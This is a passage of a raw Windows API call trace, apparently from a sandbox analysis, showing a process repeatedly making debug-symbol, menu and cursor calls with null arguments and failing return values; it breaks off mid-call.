SymCleanup (hProcess=0x0) returned 0 [0216.269] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.269] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.269] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.269] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.269] GetLastError () returned 0x579 [0216.269] SetLastError (dwErrCode=0x579) [0216.269] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.269] SymCleanup (hProcess=0x0) returned 0 [0216.269] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.269] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.269] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.269] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0216.270] GetLastError () returned 0x579 [0216.270] SetLastError (dwErrCode=0x579) [0216.270] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.270] SymCleanup (hProcess=0x0) returned 0 [0216.270] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.270] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.270] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.270] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=108, param_4=541, param_5=0x0, param_6=0x0) returned 0 [0216.270] GetLastError () returned 0x579 [0216.270] SetLastError (dwErrCode=0x579) [0216.270] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.270] SymCleanup (hProcess=0x0) returned 0 [0216.270] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.270] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.270] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.270] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.270] GetLastError () returned 0x579 [0216.270] SetLastError (dwErrCode=0x579) [0216.270] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.270] SymCleanup (hProcess=0x0) returned 0 [0216.270] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.270] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.270] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.270] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0216.270] GetLastError () returned 0x579 [0216.270] SetLastError (dwErrCode=0x579) [0216.270] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.271] SymCleanup (hProcess=0x0) returned 0 [0216.271] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.271] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.271] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.271] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.271] GetLastError () returned 0x579 [0216.271] SetLastError (dwErrCode=0x579) [0216.271] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.271] SymCleanup (hProcess=0x0) returned 0 [0216.271] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.271] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.271] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.271] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0216.271] GetLastError () returned 0x579 [0216.271] SetLastError (dwErrCode=0x579) [0216.271] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.271] SymCleanup (hProcess=0x0) returned 0 [0216.271] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.271] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.271] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.271] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1338, param_4=51, param_5=0x0, param_6=0x0) returned 0 [0216.272] GetLastError () returned 0x579 [0216.272] SetLastError (dwErrCode=0x579) [0216.272] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.272] SymCleanup (hProcess=0x0) returned 0 [0216.272] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.272] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.272] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.272] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.272] GetLastError () returned 0x579 [0216.272] SetLastError (dwErrCode=0x579) [0216.272] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.272] SymCleanup (hProcess=0x0) returned 0 [0216.272] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.272] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.272] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.272] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0216.272] GetLastError () returned 0x579 [0216.272] SetLastError (dwErrCode=0x579) [0216.272] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.272] SymCleanup (hProcess=0x0) returned 0 [0216.272] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.272] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.272] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.273] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.273] GetLastError () returned 0x579 [0216.273] SetLastError (dwErrCode=0x579) [0216.273] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.273] SymCleanup (hProcess=0x0) returned 0 [0216.273] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.273] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.273] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.273] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0216.273] GetLastError () returned 0x579 [0216.273] SetLastError (dwErrCode=0x579) [0216.273] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.273] SymCleanup (hProcess=0x0) returned 0 [0216.273] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.273] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.273] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.273] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=481, param_4=479, param_5=0x0, param_6=0x0) returned 0 [0216.274] GetLastError () returned 0x579 [0216.274] SetLastError (dwErrCode=0x579) [0216.274] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.274] SymCleanup (hProcess=0x0) returned 0 [0216.274] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.274] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.274] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.274] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.274] GetLastError () returned 0x579 [0216.274] SetLastError (dwErrCode=0x579) [0216.274] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.274] SymCleanup (hProcess=0x0) returned 0 [0216.274] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.274] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.274] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.275] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0216.275] GetLastError () returned 0x579 [0216.275] SetLastError (dwErrCode=0x579) [0216.275] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.275] SymCleanup (hProcess=0x0) returned 0 [0216.275] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.275] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.275] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.275] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.275] GetLastError () returned 0x579 [0216.275] SetLastError (dwErrCode=0x579) [0216.275] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.275] SymCleanup (hProcess=0x0) returned 0 [0216.275] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.276] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.276] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.276] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0216.276] GetLastError () returned 0x579 [0216.276] SetLastError (dwErrCode=0x579) [0216.276] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.276] SymCleanup (hProcess=0x0) returned 0 [0216.276] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.276] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.276] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.276] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=570, param_4=434, param_5=0x0, param_6=0x0) returned 0 [0216.276] GetLastError () returned 0x579 [0216.276] SetLastError (dwErrCode=0x579) [0216.276] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.277] SymCleanup (hProcess=0x0) returned 0 [0216.277] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.277] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.277] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.277] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.277] GetLastError () returned 0x579 [0216.277] SetLastError (dwErrCode=0x579) [0216.277] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.277] SymCleanup (hProcess=0x0) returned 0 [0216.277] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.277] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.277] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.277] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.277] GetLastError () returned 0x579 [0216.277] SetLastError (dwErrCode=0x579) [0216.277] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.277] SymCleanup (hProcess=0x0) returned 0 [0216.277] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.277] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.277] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.277] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.277] GetLastError () returned 0x579 [0216.277] SetLastError (dwErrCode=0x579) [0216.277] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.277] SymCleanup (hProcess=0x0) returned 0 [0216.277] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.277] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.277] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.277] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0216.277] GetLastError () returned 0x579 [0216.278] SetLastError (dwErrCode=0x579) [0216.278] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.278] SymCleanup (hProcess=0x0) returned 0 [0216.278] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.278] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.278] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.278] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=939, param_4=671, param_5=0x0, param_6=0x0) returned 0 [0216.278] GetLastError () returned 0x579 [0216.278] SetLastError (dwErrCode=0x579) [0216.278] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.278] SymCleanup (hProcess=0x0) returned 0 [0216.278] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.278] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.278] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.278] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.278] GetLastError () returned 0x579 [0216.278] SetLastError (dwErrCode=0x579) [0216.278] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.278] SymCleanup (hProcess=0x0) returned 0 [0216.278] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.278] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.278] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.278] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0216.278] GetLastError () returned 0x579 [0216.278] SetLastError (dwErrCode=0x579) [0216.278] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.278] SymCleanup (hProcess=0x0) returned 0 [0216.278] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.278] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.278] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.278] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.279] GetLastError () returned 0x579 [0216.279] SetLastError (dwErrCode=0x579) [0216.279] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.279] SymCleanup (hProcess=0x0) returned 0 [0216.279] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.279] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.279] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.279] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.279] GetLastError () returned 0x579 [0216.279] SetLastError (dwErrCode=0x579) [0216.279] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.279] SymCleanup (hProcess=0x0) returned 0 [0216.279] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.279] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.279] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.279] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=518, param_4=96, param_5=0x0, param_6=0x0) returned 0 [0216.279] GetLastError () returned 0x579 [0216.279] SetLastError (dwErrCode=0x579) [0216.279] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.279] SymCleanup (hProcess=0x0) returned 0 [0216.279] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.279] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.279] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.279] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.279] GetLastError () returned 0x579 [0216.279] SetLastError (dwErrCode=0x579) [0216.279] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.279] SymCleanup (hProcess=0x0) returned 0 [0216.279] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.279] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.279] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.280] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.280] GetLastError () returned 0x579 [0216.280] SetLastError (dwErrCode=0x579) [0216.280] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.280] SymCleanup (hProcess=0x0) returned 0 [0216.280] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.280] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.280] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.280] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.280] GetLastError () returned 0x579 [0216.280] SetLastError (dwErrCode=0x579) [0216.280] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.280] SymCleanup (hProcess=0x0) returned 0 [0216.280] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.280] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.280] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.280] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0216.280] GetLastError () returned 0x579 [0216.280] SetLastError (dwErrCode=0x579) [0216.280] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.280] SymCleanup (hProcess=0x0) returned 0 [0216.280] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.280] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.280] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.280] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1385, param_4=388, param_5=0x0, param_6=0x0) returned 0 [0216.280] GetLastError () returned 0x579 [0216.280] SetLastError (dwErrCode=0x579) [0216.280] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.281] SymCleanup (hProcess=0x0) returned 0 [0216.281] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.281] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.281] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.281] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.281] GetLastError () returned 0x579 [0216.281] SetLastError (dwErrCode=0x579) [0216.281] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.281] SymCleanup (hProcess=0x0) returned 0 [0216.281] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.281] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.281] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.281] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0216.281] GetLastError () returned 0x579 [0216.281] SetLastError (dwErrCode=0x579) [0216.281] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.281] SymCleanup (hProcess=0x0) returned 0 [0216.281] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.281] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.281] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.281] TrackPopupMenuEx (param_1=0x0, 